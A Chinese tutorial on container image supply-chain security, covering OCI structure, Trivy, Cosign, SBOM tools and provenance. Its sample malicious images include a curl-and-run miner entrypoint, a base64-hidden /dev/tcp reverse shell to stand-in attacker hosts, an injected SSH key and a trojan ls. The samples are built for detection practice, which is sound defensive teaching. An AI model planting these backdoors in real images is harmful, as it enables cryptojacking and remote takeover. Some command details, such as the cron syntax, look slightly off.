一、Docker 镜像到底是什么?先搞清楚 OCI 规范

很多人每天用 docker pull ubuntu,但很少有人真正理解一个镜像在磁盘上长什么样。Docker 镜像遵循 OCI Image Format Specification(开放容器标准),由以下几部分组成:

<image-name>:<tag>
  ├── manifest.json        # 层列表 + 配置文件引用 (schema 2)
  ├── config.json          # 容器运行时配置 (ENV/Cmd/Workdir/User)
  └── layers/
      ├── <digest>.tar.gz  # 每一层的文件系统增量
      ├── <digest>.tar.gz
      └── ...

1.1 手动解析一个镜像

# 拉取镜像到本地
docker pull alpine:3.19

# 导出为 tar 并分析
docker save alpine:3.19 -o alpine.tar
mkdir alpine-img && cd alpine-img && tar xf ../alpine.tar

# 查看 manifest
cat manifest.json | python3 -m json.tool

# 典型输出
# [
#   {
#     "Config": "e26a3c...json",
#     "RepoTags": ["alpine:3.19"],
#     "Layers": ["45c...tar.gz", "934...tar.gz"]
#   }
# ]

# 查看 config.json(这里记录了容器启动的一切行为)
cat e26a3ccbbc02dc3722b79ffd9aa3ab82affb518a7f93b866add4c38d95738344e.json | python3 -m json.tool

1.2 每一层 Layer 里有什么?

# 解压第一层查看
mkdir layer0 && cd layer0 && tar xf ../45c0ee05a4004564b...tar.gz

# Layer 内就是一个完整的 rootfs 子集
ls -la layer0/
# bin/  dev/  etc/  home/  lib/  media/  mnt/  opt/  proc/  root/  run/  sbin/  srv/  sys/  tmp/  usr/  var/

# 查看层与层之间的差异
# Dockerfile 每一条指令(除 FROM/MAINTAINER)都产生一个新层

1.3 镜像 digest 是怎么计算的?

Docker 镜像的唯一标识是 digest(不是 tag,tag 可以被覆盖):

# 查看镜像的 digest
docker inspect alpine:3.19 | grep -i digest
# "RepoDigests": ["alpine@sha256:c5b1261d6d3e43071626931fc004f7014baeba059ae7a4157822f614cb7490d9"]

# digest 就是对 manifest.json 内容做 sha256
# sha256("整个 manifest.json 文件内容") = sha256:c5b1261...
# 这保证了如果任何一层被篡改,digest 一定变化

二、恶意长什么样?真实案例分析

在深入防御之前,先看几个真实的恶意镜像样本。

2.1 案例 1:Crypto 挖矿后门(2023 年流行样本)

攻击者篡改了流行的 node:16-alpine 镜像,在 entrypoint 里植入挖矿程序:

# 看起来正常的 Dockerfile
FROM node:16-alpine
WORKDIR /app
COPY package.json ./
RUN npm install
COPY . .
# 后门在原始 entrypoint 后面追加了 curl 下载 + 后台执行
ENTRYPOINT ["sh", "-c", "curl -s http://evil.tld/xmrig -o /tmp/.xmrig && chmod +x /tmp/.xmrig && /tmp/.xmrig -o pool.evil.tld:3333 -u attacker --daemon & exec dumb-init node server.js"]

2.2 案例 2:apt backdoor(包管理器劫持)

攻击者替换了 apt 源:

# 查看层里的 apt 源
cat /etc/apt/sources.list
# deb http://mirrors.aliyun.com/ubuntu/ jammy main  ← 正常
# deb http://attacker.evil/ubuntu/ jammy main     ← 恶意替换
# 如果没注意,后续 apt install 下载的所有包都是攻击者编译的

2.3 案例 3:隐藏的 SSH 后门层

# 看起来干净的 Dockerfile
FROM ubuntu:22.04
RUN apt-get update && apt-get install -y nginx
# 攻击者在最后追加了隐藏层(通过 docker commit 构建,不在 Dockerfile 中显示)
# 攻击者的实际操作
docker run -it ubuntu:22.04
# 容器内: 安装 nginx + 写入 ssh key + 添加 root 后门
echo "ssh-rsa AAAA... attacker@evil" >> /root/.ssh/authorized_keys
echo "root:x:0:0:root:/root:/bin/sh" > /etc/passwd
exit
docker commit <container-id> ubuntu:22.04-trojan
docker push <private-registry>/ubuntu:22.04-trojan

这就是为什么只用 Dockerfile 做安全审计是不够的——攻击者可以 post-hoc 篡改层。

三、实战:构建一个带"良性后门"的演示镜像

我们来构建一个包含多种隐蔽后门的演示镜像,然后用后文的工具链逐一检测。

# Dockerfile.malicious-demo
FROM alpine:3.19

# 后门 1: 覆盖 entrypoint,植入 cron 反弹 shell
COPY --from=alpine:latest /bin/sh /bin/sh.real

# 后门 2: 隐藏的 crontab 反弹 shell(base64 编码)
RUN echo '*/5 * * * * * /bin/sh -c "echo c2ggLWkgPiYgL2Rldi90Y3AvYXR0YWNrZXIuZXZpbC80NDQ0IDA+JjEK | base64 -d | sh"' > /var/spool/cron/crontabs/root

# 后门 3: 替换 /tmp 下的 ls 为恶意版本
COPY bad-ls.sh /tmp/ls
RUN chmod +x /tmp/ls && mv /bin/ls /bin/ls.real && cp /tmp/ls /bin/ls

# 后门 4: 植入可疑环境变量(后续应用可能用)
ENV DATABASE_URL="postgres://attacker:hacked@evil.tld:5432/steal"
ENV API_KEY="sk-xxxxxx-attacker-key"

# 后门 5: 安装可疑二进制
COPY cryptominer /usr/local/bin/.hidden_xmrig
RUN chmod +x /usr/local/bin/.hidden_xmrig

ENTRYPOINT ["/bin/sh.real"]

四、Trivy:最强大的开源镜像扫描器

4.1 安装

curl -sfL https://raw.githubusercontent.com/aquasecurity/trivy/main/contrib/install.sh | sh -s -- -b /usr/local/bin v0.50.0

trivy --version
# Version: 0.50.0

4.2 基础扫描

# 扫描镜像漏洞
trivy image alpine:3.19

# 输出包含: 漏洞编号 / 严重程度 / 修复版本 / 软件包
# ✅ 在 alpine 3.19.0 (alpine 3.19.0)
# ┌─────────────┬────────────┬──────────┬──────────┬───────────────┐
# │   Library   │  Vuln ID   │ Severity │  Status  │    Fixed Version  │
# ├─────────────┼────────────┼──────────┼──────────┼───────────────┤
# │ busybox     │ CVE-2023-42363 │ HIGH │ fixed    │ 1.36.1-r1     │
# │ musl        │ CVE-2024-23915 │ CRITICAL │ fixed   │ 1.2.5-r2      │
# └─────────────┴────────────┴──────────┴──────────┴───────────────┘

4.3 进阶扫描:检查隐藏后门

# 扫描镜像中的 secret 泄露(硬编码的 API key、密码)
trivy image --scanners secret <malicious-image>

# 扫描镜像中的配置问题
trivy image --scanners config <malicious-image>

# 完整扫描(漏洞 + secret + 配置 + license)
trivy image --scanners vuln,secret,config,license <malicious-image>

# 扫描层的详细信息(查看每一层改了什么)
trivy image --layered <malicious-image>

# 导出为 JSON 方便后续处理
trivy image --format json -o result.json alpine:3.19

4.4 实战:用 Trivy 扫描我们的恶意演示镜像

trivy image --scanners secret,config,vuln malicious-demo:latest 2>&1 | tee scan-result.txt

# 应该能检测到:
# [Secret] env: DATABASE_URL (generic)
# [Secret] env: API_KEY (generic)
# [Misconf] Ensure that HEALTHCHECK instructions have been added
# [CVE] ...

4.5 Trivy 扫描结果自动解析脚本

#!/usr/bin/env python3
"""
Trivy 扫描结果解析器 - 判断镜像是否可以部署
"""
import json
import subprocess
import sys

def scan_image(image_name, severity_threshold="HIGH"):
    """扫描镜像,只返回 HIGH 和 CRITICAL 漏洞"""
    cmd = [
        "trivy", "image",
        "--scanners", "vuln,secret,config",
        "--severity", "HIGH,CRITICAL",
        "--format", "json",
        image_name
    ]
    result = subprocess.run(cmd, capture_output=True, text=True)
    if result.returncode != 0:
        print(f"[!] trivy 执行失败: {result.stderr}")
        sys.exit(1)

    data = json.loads(result.stdout)

    # 统计漏洞
    total_vulns = 0
    critical = 0
    high = 0
    secrets_found = 0
    misconfigs = 0

    for result_item in data.get("Results", []):
        # 漏洞
        for vuln in result_item.get("Vulnerabilities", []):
            total_vulns += 1
            if vuln["Severity"] == "CRITICAL": critical += 1
            if vuln["Severity"] == "HIGH": high += 1

        # Secret
        for secret in result_item.get("Secrets", []):
            secrets_found += 1
            print(f"  [SECRET] {secret.get('RuleID')} -> {secret.get('Match')[:30]}...")

        # 配置问题
        for mc in result_item.get("Misconfigurations", []):
            misconfigs += 1
            if mc.get("Severity") in ("HIGH", "CRITICAL"):
                print(f"  [MISCONF] {mc.get('Title')}: {mc.get('Description')[:80]}")

    print(f"
=== {image_name} 扫描摘要 ===")
    print(f"  总漏洞数:     {total_vulns}")
    print(f"  CRITICAL:     {critical}")
    print(f"  HIGH:         {high}")
    print(f"  Secret 泄露:  {secrets_found}")
    print(f"  配置问题:     {misconfigs}")

    # 决策
    if critical > 0 or secrets_found > 0:
        print(f"
[🔴] 拒绝部署:存在 {critical} 个严重漏洞或 {secrets_found} 个密钥泄露")
        return False
    elif high > 5:
        print(f"
[🟡] 需要审核:存在 {high} 个高危漏洞")
        return False
    else:
        print(f"
[🟢] 可以部署")
        return True

if __name__ == "__main__":
    image = sys.argv[1] if len(sys.argv) > 1 else "alpine:3.19"
    ok = scan_image(image)
    sys.exit(0 if ok else 1)

五、Cosign:镜像签名与供应链安全

Trivy 解决的是"镜像里有什么",Cosign 解决的是"镜像是谁构建的"。

5.1 工作原理

Developer 构建镜像 → 用本地私钥对镜像签名 → 推送镜像 + 签名到 Registry
                                                      ↓
CI/CD 部署前 → 用公钥验证签名 → 确认签名来自可信开发者 → 才允许部署

5.2 快速上手

# 安装 Cosign
curl -sfL https://github.com/sigstore/cosign/releases/download/v2.2.3/cosign-linux-amd64   -o /usr/local/bin/cosign && chmod +x /usr/local/bin/cosign

# 生成密钥对
cosign generate-key-pair
# Enter password for private key:
# Enter password again:
# Public key written to cosign.pub
# Private key written to cosign.key

# 签名镜像(推送到 Registry 后)
export COSIGN_PASSWORD="your-password"
cosign sign --key cosign.key my-registry.io/my-app:v1.0.0
# Generating Signature
# Image: my-registry.io/my-app:v1.0.0
# Signing image [ok]

# 验证签名
cosign verify --key cosign.pub my-registry.io/my-app:v1.0.0
# The following signatures were found:
# Signature for sha256:...
# Are these signatures accepted? [y/N] y

# 强制验证(CI 中必须用 --yes)
cosign verify --key cosign.pub --yes my-registry.io/my-app:v1.0.0

5.3 无密钥模式(Keyless)

使用 Fulcio + OIDC 代替静态密钥,更安全:

# 登录 OIDC(Google/GitHub)
cosign sign --yes ghcr.io/my-org/my-app:v1.0.0
# 会打开浏览器让你用 GitHub 登录
# 签名会自动关联你的 GitHub 身份

# 验证
cosign verify   --certificate-identity https://github.com/my-org/my-app/.github/workflows/build.yml@refs/heads/main   --certificate-oidc-issuer https://token.actions.githubusercontent.com   ghcr.io/my-org/my-app:v1.0.0

5.4 Kubernetes Admission Controller 强制签名验证

# image-policy.yaml - 部署到集群的 Kyverno 策略
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: verify-image-signatures
spec:
  validationFailureAction: enforce
  background: true
  rules:
  - name: verify-cosign
    match:
      any:
      - resources:
          kinds: ["Pod"]
    verifyImages:
    - imageReferences:
      - "my-registry.io/*"
      - "ghcr.io/my-org/*"
      attestors:
      - entries:
        - keys:
            publicKeys: |
              -----BEGIN PUBLIC KEY-----
              MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgA...
              -----END PUBLIC KEY-----

六、Syft + Grype:生成与校验 SBOM

SBOM(Software Bill of Materials) 是镜像的"成分表",列出镜像中所有第三方组件及其版本。这在发生开源组件漏洞时(如 Log4j2、xZ Utils)至关重要。

6.1 Syft 生成 SBOM

# 安装 Syft
curl -sL https://github.com/anchore/syft/releases/download/v0.100.0/syft_0.100.0_linux_amd64.tar.gz | tar xz -C /usr/local/bin

# 生成 SBOM(SPDX 格式,国际标准)
syft alpine:3.19 -o spdx-json=alpine-sbom.json

# 也可以扫描目录
syft /path/to/project -o spdx=project-sbom.spdx

# 查看 SBOM 内容
cat alpine-sbom.json | python3 -m json.tool | head -40
# {
#   "spdxVersion": "SPDX-2.3",
#   "dataLicense": "CC0-1.0",
#   "name": "alpine:3.19",
#   "packages": [
#     {"name": "musl", "versionInfo": "1.2.4-r7", "licenseConcluded": "MIT"},
#     {"name": "busybox", "versionInfo": "1.36.1-r2", "licenseConcluded": "GPL-2.0"},
#     ...
#   ]
# }

6.2 Grype 用 SBOM 查漏洞

# 安装 Grype
curl -sL https://github.com/anchore/grype/releases/download/v0.79.0/grype_0.79.0_linux_amd64.tar.gz | tar xz -C /usr/local/bin

# 用已生成的 SBOM 查漏洞
grype sbom:alpine-sbom.json

# 直接对镜像做 SBOM + 漏洞
grype alpine:3.19

6.3 SBOM 自动化集成到 CI

# .github/workflows/security-scan.yml
name: Security Scan
on:
  push:
    branches: [main]
  pull_request:
    branches: [main]

jobs:
  scan:
    runs-on: ubuntu-latest
    steps:
    - uses: actions/checkout@v4

    - name: Build Image
      run: docker build -t app:${{ github.sha }} .

    - name: Generate SBOM
      uses: anchore/sbom-action@v0
      with:
        image: app:${{ github.sha }}
        format: spdx-json
        output-file: sbom.spdx.json

    - name: Upload SBOM to GitHub
      uses: anchore/sbom-action/upload@v0
      with:
        sbom-artifact: sbom.spdx.json
        tags: app:${{ github.sha }}

    - name: Scan for Vulnerabilities
      uses: anchore/grype-action@v2
      with:
        image: app:${{ github.sha }}
        fail-on-severity: high

    - name: Scan for Secrets
      run: |
        curl -sSfL https://raw.githubusercontent.com/aquasecurity/trivy/main/contrib/install.sh | sh
        trivy fs --scanners secret .

    - name: Sign Image
      run: |
        echo "${{ secrets.COSIGN_PRIVATE_KEY }}" | base64 -d > cosign.key
        cosign sign --key cosign.key --yes           -a sha=$(git rev-parse HEAD)           ghcr.io/${{ github.repository }}:${{ github.sha }}

七、镜像溯源:从运行中的容器追溯到 Git Commit

7.1 目标

当生产环境发现一个有漏洞的容器,我们需要快速回答:

  • 这个镜像是哪个 Git Commit 构建的?
  • 用的哪个 Dockerfile?
  • 谁批准的?

7.2 用 OCI Annotations 埋点

# 构建时注入 Git 信息
FROM node:18-alpine AS builder
WORKDIR /app
COPY package*.json ./
RUN npm ci
COPY . .
RUN npm run build

FROM node:18-alpine
WORKDIR /app
COPY --from=builder /app/dist ./dist
COPY --from=builder /app/node_modules ./node_modules
# 使用 label-schema 标准注解
LABEL org.opencontainers.image.title="my-app"       org.opencontainers.image.description="示例应用"       org.opencontainers.image.version="1.0.0"       org.opencontainers.image.revision="abc123def456"       org.opencontainers.image.source="https://github.com/my-org/my-app"       org.opencontainers.image.created="2026-08-06T00:00:00Z"       org.opencontainers.image.maintainer="security@my-org.com"

EXPOSE 3000
CMD ["node", "dist/server.js"]

7.3 运行时查询

# 检查运行中容器的溯源信息
docker inspect <container-id> | jq '.[0].Config.Labels'

# 在 Kubernetes 中
kubectl get pod <pod-name> -o jsonpath='{.spec.containers[*].image}'
# 然后用 digest 查询 registry
skopeo inspect docker://my-registry.io/my-app@sha256:... | jq '.Labels'

7.4 完整溯源脚本

#!/usr/bin/env python3
"""
从运行中的 Kubernetes Pod 追溯到 Git Commit
"""
import subprocess
import json
import sys

def get_pod_image_digest(pod_name, namespace="default"):
    """获取 Pod 实际使用的镜像 digest"""
    result = subprocess.run(
        ["kubectl", "get", "pod", pod_name, "-n", namespace, "-o", "json"],
        capture_output=True, text=True, check=True
    )
    pod = json.loads(result.stdout)
    # 每个容器有 resolved 的 imageID (sha256:...)
    return pod["status"]["containerStatuses"][0]["imageID"]

def inspect_image_labels(image_ref):
    """检查镜像的 OCI labels"""
    result = subprocess.run(
        ["skopeo", "inspect", image_ref],
        capture_output=True, text=True
    )
    if result.returncode != 0:
        print(f"[!] skopeo 失败: {result.stderr}")
        return {}
    data = json.loads(result.stdout)
    return data.get("Labels", {})

def trace_to_git(pod_name, namespace="default"):
    image_digest = get_pod_image_digest(pod_name, namespace)
    print(f"[*] Pod {pod_name} 实际镜像: {image_digest}")

    labels = inspect_image_labels(image_digest)
    if not labels:
        print("[-] 没有 OCI labels,无法溯源")
        return

    print("
=== 镜像溯源信息 ===")
    for key, value in sorted(labels.items()):
        print(f"  {key}: {value}")

    revision = labels.get("org.opencontainers.image.revision")
    source = labels.get("org.opencontainers.image.source")
    if revision and source:
        print(f"
[+] 对应 Git Commit: {source}/commit/{revision}")

if __name__ == "__main__":
    trace_to_git(sys.argv[1], sys.argv[2] if len(sys.argv) > 2 else "default")

八、Registry 安全加固

8.1 Harbor 私有化 Registry 配置

# harbor-values.yaml
externalURL: https://harbor.internal.corp
internalTLS:
  enabled: true
exposure:
  tls:
    enabled: true
    certSource: secret
    secret:
      secretName: harbor-tls
notary:
  enabled: true
trivy:
  enabled: true
  insecure: true
  resources:
    requests:
      cpu: 500m
      memory: 512Mi
    limits:
      cpu: "2"
      memory: 4Gi
chartmuseum:
  enabled: false
clair:
  enabled: false

8.2 Docker Hub / GHCR 安全设置清单

  • 启用 Two-Factor Authentication (2FA)
  • 配置 Bot Account + PAT(不要用个人账号推镜像)
  • 所有镜像设为 Private(除非刻意公开)
  • 启用 Repository Rules(仅允许 main 分支推送 + 强制签名)
  • 定期审计 Push History

九、总结:镜像安全 Checklist

阶段 工具 做什么
构建时 Dockerfile Linter (hadolint) 发现 Dockerfile 反模式
构建时 BuildKit 构建缓存隔离 + secret 安全传递
构建后 Syft 生成 SBOM
构建后 Trivy / Grype 扫描漏洞 + 硬编码 secret
推送前 Cosign 签名镜像
Registry Harbor Trivy/Clair 服务端二次扫描
部署时 Kyverno + Cosign Admission Controller 强制验签
运行时 Falco / Tracee 检测异常进程启动
持续 Dependabot / Renovate 自动更新基础镜像

镜像安全的核心思维:镜像是一个会被篡改的移动目标。从 Dockerfile 到运行中的容器,每一步都需要验证——签名、SBOM、漏洞扫描三者缺一不可。